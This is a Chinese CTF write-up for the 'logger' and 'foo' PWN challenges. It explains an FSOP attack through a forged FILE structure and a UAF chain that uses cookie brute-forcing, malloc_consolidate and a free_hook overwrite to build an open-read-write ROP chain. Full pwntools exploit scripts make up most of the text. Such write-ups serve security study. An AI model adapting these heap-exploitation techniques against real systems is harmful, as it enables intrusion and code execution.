2020 IISC线上赛PWN解题

0x00 Summary

logger整数溢出+脏数据泄露。改bss上stderr指针为伪造的file结构体,2.23 FSOP攻击

foo:UAF,加Cookie检测,爆破出Cookie,然后利用scanf的trick进行malloc_consolidation来进行UAF,leak heap和libc,最后改hook为setcontext+0x35,orw读出flag

0x01 logger

IDA分析

第一个warning功能

第二个warning功能

第一个warning可以脏数据泄露libc或者栈地址,但是随后释放时通过memset就将数据清空了,PIE没开大概率和bss上数据有关联。

第二个warningOnce会将读取的字符数存放到任意位置。(如上图)

思路

这样我们就可以任意地址单字节写,在bss段伪造fake file,满足write_ptr>write_base,mode<=0即可进行FSOP攻击,vtable复写为写满one_gadget的地址,覆盖bss中stderr指针为伪造的fake file地址,最后通过exit控制程序流执行one_gadget。

exp


#coding=utf-8from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    p = process("./logger")
    # p = process('./feedback',env={'LD_PRELOAD':'./libc-2.23.so'})
    elf = ELF("./logger")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
    p = remote("39.105.35.195",12432)
    elf = ELF("./logger")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

def warning(content):
    sla("Exit\n","1")
    sa("Content:\n",content)

def warningOnce(size,index):
    sl("2")
    if size==0:
        sa("Content:\n","\x00")
    else:
        sa("Content:\n","1"*size)
    sla("ID:\n",str(index))

def error(content):
    sla("Exit:\n","3")
    sa("Content:\n",content)

def exit():
    sla("Exit:\n","4")

target_fake_file_addr = 0x67f900
stderr_file_addr = 0x67F7A0

index1 = 0x67F7A0-0x67F7B0
index2 = 0x67f900-0x67F7B0

# 第一个:fp->mode<=0 、 fp->IO_write_ptr>fp->_IO_write_base

#gdb.attach(p)
warning("1"*0x37+"\n")
p.recvuntil("1111111111111111111111111111111111111111111111111111111\n")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff637f299+0x7ffff6345000
success("libc address ==> "+hex(libc.address))
libc_static = 0x7ffff6345000
raw_input()

fake_file = p64(0x00000000fbad2087)+p64(0x00007ffff670a5c3+libc.address-libc_static)*3+p64(0)+p64(0x00007ffff670a5c3+libc.address-libc_static)*3
fake_file+= p64(0x00007ffff670a5c4+libc.address-libc_static)+p64(0)*4+p64(0x00007ffff670a620+libc.address-libc_static)
fake_file+= p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff670b770+libc.address-libc_static)
fake_file+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff6709660+libc.address-libc_static)+p64(0)*6+p64(0x67F7A0+0x240)+p64(libc.address+0xf1147)*10

new_target_fake = p64(target_fake_file_addr)

for i in range(len(new_target_fake)):
    warningOnce(ord(new_target_fake[i]),index1+i)
    # warningOnce()

for i in range(len(fake_file)):
    warningOnce(ord(fake_file[i]),index2+i)
    sleep(0.01)
# gdb.attach(p)
p.sendline("4")
p.interactive()

0x02 foo

查看文件

保护全开,同时还有沙箱保护,或许只能考虑ORW读flag了。

IDA分析

程序五个功能:create、edit、show、delete和guess
create:限制创建0x30大小的chunk,同时在heap_addr+0x28的位置赋值了一个cookie

edit:可以写0x30的数据,需要检查cookie是否一致

show:正常打印0x28的数据,需要cookie值

delete:删除chunk,漏洞存在于指针没有清空,但同样删除前会检测cookie的值

guess:create 0x190的chunk,进行检查cookie,其具体功能没有什么意义,但是create 0x190可以实现overlapping,同时进行UAF利用。

思路

首先我们想进行UAF,那么根据这几个功能的特点我们必须要知道cookie的值。我们可以通过create、edit、show这三个功能进行爆破得到cookie。

随后我们消耗空闲大于0x40的smallbin、0x40的fastbin,然后创建7个0x40的chunk,删除掉,利用scanf的特性输入大量数据使其分配一个大于smallbin阈值的chunk触发malloc_consolidation,此时这几个chunk将会合并分配给guess功能那个0x1a0的chunk,此时可以对这个大chunk进行编辑,在对应的位置写上cookie,再删除改fd,泄露libc(heap中有很多libc,malloc_consolidation合并的每个小chunk的fd都有libc地址)

最后再进行同样的UAF攻击改fd为free_hook,写setcontext+0x35,最后进行ORW读取flag

exp

#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.update(arch="amd64",os="linux",log_level="debug")

se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
itv     = lambda                    :p.interactive()

if debug:
    p = process("./foo")
    elf = ELF("./foo")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
    p = remote("124.70.197.50",9010)
    elf = ELF("./foo")
    libc = ELF("./libc.so")

def create(index):
    sla("choice: ",str(1))
    sla("Index: ",str(index))

def edit(index,content):
    sla("choice: ",str(2))
    sla("Index: ",str(index))
    sa("Content: ",content)

def show(index):
    sla("choice: ",str(3))
    sla("Index: ",str(index))

def delete(index):
    sla("choice: ",str(4))
    sla("Index: ",str(index))

def guess(cookie):
    sla("choice: ",str(5))
    sa("cookie?",cookie)

def crack_cookie():
    res = ""
    for i in range(4):
        for j in range(0x100):
            create(0)
            edit(0,'A'*0x28+res+p8(j))
            show(0)
            if "Content" in p.recv(10):
                res += p8(j)
                break
    return res

cookie = crack_cookie()

success("Cookie ==> "+hex(u32(cookie)))
p.sendline("1"*0x1000)

for i in range(25):
    create(0)

for i in range(15):
    create(i)

for i in range(14):
    delete(i)
p.sendline("1"*0x1000)

payload = ("a"*0x28+cookie+p32(0)+p64(0)+p64(0x41))*3
guess(payload)
delete(9)
delete(8)
payload ="a"*0x28+cookie+p32(0)+p64(0)+p64(0x41)+"\xd0"
guess(payload)
for i in range(7):
    create(i)
create(8)
show(8)
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
success("heap addr ==> "+hex(heap_addr))
target_heap = heap_addr+0x50
stack_heap = heap_addr-0x70
delete(8)

payload = "a"*0x28+cookie+p32(0)+p64(0)+p64(0x41)+p64(target_heap)
guess(payload)
create(8)
create(0)
show(0)

p.recvuntil("Content: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff7b83ca0+0x7ffff7798000
success("libc addr ==> "+hex(libc.address))
raw_input()

delete(1)
delete(2)
delete(8)
payload = "a"*0x28+cookie+p32(0)+p64(0)+p64(0x41)+p64(libc.sym['__free_hook'])
guess(payload)

create(8)
create(9)
edit(9,p64(libc.address+0x52145))

pop_rax = 0x0000000000043a77+libc.address
pop_rdi = 0x000000000002155f+libc.address
pop_rsi = 0x000000000013088a+libc.address
pop_rdx = 0x0000000000001ba6+libc.address
syscall = 0x00000000000d29d5+libc.address

gdb.attach(p)
payload = "./flag"+"\x00"*(0xa0-6)+p64(stack_heap+0xc0)+p64(pop_rax)
payload = payload.ljust(0xc0,"\x00")
payload+= flat([
    2,pop_rdi,heap_addr-0x70,pop_rsi,0,syscall,            
    pop_rax,0,pop_rdi,3,pop_rsi,heap_addr+0x5a0,pop_rdx,0x20,syscall,           
    pop_rax,1,pop_rdi,1,pop_rsi,heap_addr+0x5a0,pop_rdx,0x20,syscall
])
guess(payload)
p.interactive()

  Reprint policy: xiaoxin 2020 IISC线上赛PWN解题

 Previous
2019 RoarCTF部分PWN题解 2019 RoarCTF部分PWN题解
0x00 Summaryeasyrop:栈溢出,绕过沙箱ORWeayheap:double free进行劫持hookeaay_pwn:利用off by one的方式进行overlapping,控制小chunk先进行泄露libcbase,再进
2020-10-27
Next 
2019 Hitcon Qua部分PWN题复现 2019 Hitcon Qua部分PWN题复现
summarytag:2.29 largebin attack、tcache unlink smashing、python-AES-解密、pwn-misc one_punch_man: double free的漏洞、calloc得到chun
2020-10-22
  TOC